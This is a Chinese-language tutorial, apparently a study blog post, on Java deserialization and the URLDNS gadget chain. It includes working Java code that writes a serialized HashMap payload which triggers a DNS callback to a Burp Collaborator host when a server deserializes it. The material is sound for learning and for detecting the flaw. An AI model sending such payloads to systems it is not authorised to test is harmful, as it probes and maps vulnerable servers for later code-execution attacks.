简介
URLDNS是Java反序列化中比较简单的一个链,由于URLDNS不依赖第三方包,同时不限制JDK版本,所以常用于检测反序列化的点
URLDNS不能执行命令,只能发送DNS请求
序列化和反序列化
序列化是为了将对象进行长期存储而诞生的方法,反序列化就是将存储的序列化内容恢复成对象
把java对象变成一个字节
Java的序列化和反序列化主要是writeObject和readObject函数,Java允许开发者对readObject进行功能的补充,故反序列化的时候会优先使用这个重写方法,所以开发者编写不当会造成任意命令执行。
要求
- 继承Serializable接口,但这个接口什么都没有[空接口],是一个标志
- 静态成员变量和transient标识的对象不能被反序列化
要序列化一个对象,首先创建OutputStream对象
再将其封装在一个ObjectOutputstream对象内
接着只需要调用writeObject()即可将对象序列化,并将其发送给OutputStram
- 只要服务端反序列化数据,客户端传递类的readobject中的代码会自动执行,给予攻击者在服务端允许代码的能力
可能实现的方法
- 入口类的readobject直接调用危险方法
- 入口类参数中包含可控参数,该类有危险方法,readobject时调用
- 入口类参数中包含可控类,该类又调用其他有危险类的方法,readobject时调用
继承Serializable接口,入口类source(重写readobject 参数类型宽泛[Map<Object,Object>] 最好jdk自带)
hash函数会调用传入对象的hashCode函数,下面我们传入的就是URL
URLDNS
利用链,也叫做gadget chains
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
查找接口的实现类: IDEA风格 ctrl + alt +B 在按F2查看详细文档注解 查看类或接口的继承关系: ctrl + h
容易实现的
如果调用了URL类的hashcode函数,会做一个DNS请求
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;
public class Main {
public static void serialize(Object obj)throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static void main(String[] args) throws Exception {
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put(new URL("http://gwguroswqw80huhvyiifuoppkgq6ev.burpcollaborator.net"),1);
serialize(objectObjectHashMap);
}
}
序列化操作是便接收到请求了
在put时候就调用了hash方法了,保证键的唯一的操作
hashcode在初始化的时候是-1,赋值以后值改变了
故反序列化时 不会收到请求
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class test {
public static Object unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object o = objectInputStream.readObject();
return o;
}
public static void main(String[] args) throws Exception {
unserialize("ser.bin");
}
}
解决问题
//import jdk.internal.ref.PhantomCleanable;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Main {
public static void serialize(Object obj)throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static void main(String[] args) throws Exception {
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
//在这里不要发送请求
//把url hashcode改成不是-1
URL url = new URL("http://gwguroswqw80huhvyiifuoppkgq6ev.burpcollaborator.net");
Class aClass = url.getClass();
Field hashcodes = aClass.getDeclaredField("hashCode");
hashcodes.setAccessible(true);
hashcodes.set(url,1234);
objectObjectHashMap.put(url,1);
hashcodes.set(url,-1);
//把hashcode变为-1
serialize(objectObjectHashMap);
}
}
入口A HashMap ,接受参数O
目标类B
目标调用B.f
A.readObject -> O(B)[传入B].f